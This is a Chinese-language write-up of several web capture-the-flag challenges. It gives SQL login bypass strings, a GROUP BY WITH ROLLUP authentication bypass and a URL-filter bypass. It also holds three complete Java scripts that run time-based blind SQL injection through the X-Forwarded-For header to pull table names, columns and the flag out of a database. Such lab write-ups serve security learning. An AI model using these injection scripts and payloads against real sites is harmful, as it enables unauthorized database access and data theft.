登陆一下好吗??
题目设置了一个条件,返回字段数少于3条就不予返回,所以要求你的语句能够返回全部的语句
账号密码都是admin'='
who are you?
用了X-Forward-For头的注入攻击
X-Forwarded-For: aa' or sleep(3) and 'a'='a
然后发现回复的ip为注入语句,burp扔给sqlmap跑不出来,检测有过滤,
虽然看不懂放个脚本吧(java版 httpclient 4.5)
4.1获取表
public static void getTable() throws ClientProtocolException, IOException{String table="";for(int m=1;m<20;m++)for (int i = 32; i < 127; i++){long t1 = System.currentTimeMillis();HttpClient client = HttpClients.createDefault();String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";HttpGet get = new HttpGet(url);get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"+ " ( Ascii( SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()) FROM "+ m +" FOR 1))="+i+")"+ " THEN SLEEP(4) ELSE SLEEP(0) END ) and 'a'='a");CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);HttpEntity enity = response.getEntity();String body = EntityUtils.toString(enity, "UTF-8");long t2 = System.currentTimeMillis();//System.out.println(body);System.out.println((t2 - t1)+"s,i="+i+" "+table);if((t2-t1)>4000){table=table+(char)i;System.out.println(table);break;}}
}
发现有 cilent_ip和flag两个表
4.2获取列
public static void getcolumn() throws ClientProtocolException, IOException
{
String database="";
for(int m=1;m<20;m++)
for (int i = 32; i < 127; i++)
{
long t1 = System.currentTimeMillis();
HttpClient client = HttpClients.createDefault();
String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";
HttpGet get = new HttpGet(url);
get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"
+ " ( Ascii( SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='flag') FROM "+ m +" FOR 1))="+i+")"
+ " THEN SLEEP(5) ELSE SLEEP(0) END ) and 'a'='a");
CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);
HttpEntity enity = response.getEntity();
String body = EntityUtils.toString(enity, "UTF-8");
long t2 = System.currentTimeMillis();
//System.out.println(body);
System.out.println((t2 - t1)+"s,i="+i+" "+database);
if((t2-t1)>5000)
{
database=database+(char)i;
System.out.println(database);
break;
}
}
}
跑出flag这个列
4.3 跑flag
public static void getflag() throws ParseException, IOException
{
String database="";
for(int m=1;m<50;m++)
for (int i = 32; i < 127; i++)
{
long t1 = System.currentTimeMillis();
HttpClient client = HttpClients.createDefault();
String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";
HttpGet get = new HttpGet(url);
get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"
+ " ( Ascii( SUBSTRING((select flag from flag) FROM "+ m +" FOR 1))="+i+")"
+ " THEN SLEEP(6) ELSE SLEEP(0) END ) and 'a'='a");
CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);
HttpEntity enity = response.getEntity();
String body = EntityUtils.toString(enity, "UTF-8");
long t2 = System.currentTimeMillis();
//System.out.println(body);
System.out.println((t2 - t1)+"s,i="+i+" "+database);
if((t2-t1)>6000)
{
database=database+(char)i;
System.out.println(database);
break;
}
}
}
因缺思汀的绕过
查看网页的源码,发现登录的源码路径是source.txt
从源码中可以知道这些全都被过滤了:and|select|from|where|union|join|sleep|benchmark|,|\(|\)
并且数据库中只有一条数据
if (mysql_num_rows($query) == 1)
最核心的部分是这里
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
大致的执行过程是先将用户输入的uname作为查询条件,在数据库中查询uname和pwd,然后将查询到的pwd与用户输入的pwd进行比较,内容一致才输出flag
这里的思路是,利用group by pwd with rollup在查询中的一个特点,他可以返回pwd所在的那一条记录,通过limit控制返回哪一条,因此他不可以返回多条,一旦返回2条及以上,pwd就会为空,但同一条记录中的其他字段则是正常的
那么利用这一点令查询结果为空,我们输入的pwd也为空值,则构成了if(null==null)为true
即:输入的用户名为:' or 1=1 group by pwd with rollup limit 1 offset 2 #
这里解释一下此时执行的SQL:
SELECT * FROM interest where uname=' ' or 1=1
group by pwd with rollup (在数据库中添加一行使得pwd=NULL)
limit 1 (只查询一行)
offset 2 (从第二行开始查询)
#注释
此时密码只要为空即可查询成功
简单的注入3
扔给SQLMAP
简单的注入2
让我进去
hash长度扩展
拐弯抹角
伪静态
'
// code by SEC@USTC
echo'';
$URL=$_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'
';
$flag="CTF{???}";
$code=str_replace($flag,'CTF{???}',file_get_contents('./index.php'));
$stop=0;
//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag&&strpos($URL,'./') !==FALSE){
$flag="";
$stop=1;//Pass
}
//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag&&strpos($URL,'\\') !==FALSE){
$flag="";
$stop=2;//Pass
}
//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches= array();
preg_match('/^([0-9a-z\/.]+)$/',$URL,$matches);
if($flag&& empty($matches) ||$matches[1] !=$URL){
$flag="";
$stop=3;//Pass
}
//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag&&strpos($URL,'//') !==FALSE){
$flag="";
$stop=4;//Pass
}
//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag&&substr($URL, -10) !=='/index.php'){
$flag="";
$stop=5;//Not Pass
}
//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag&&strpos($URL,'p.') !==FALSE){
$flag="";
$stop=6;//Not Pass
}
//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag&&$URL=='/indirection/index.php'){
$flag="";
$stop=7;//Not Pass
}
if(!$stop)$stop=8;
echo'Flag: '.$flag;
echo'';
for($i=1;$i<$stop;$i++)
$code=str_replace('//Pass '.$i,'//Pass',$code);
for(;$i<8;$i++)
$code=str_replace('//Pass '.$i,'//Not Pass',$code);
echohighlight_string($code,TRUE);
echo'';
题目的意思就是通过改变地址栏访问index.PHP,但是限制了条件不能使用 ./ ../ \\ 而且只能使用小写字母,不可以在php后加点,这里我们可以利用伪静态技术,使用http://ctf10.shiyanbar.com:8888/indirection/index.php/index.php,index.php后的index.php会被当做参数处理,所以服务器只会解析第一个index.php,满足条件成功绕过
forms
burpsuite抓包 改values 出源码,填入$a 出flag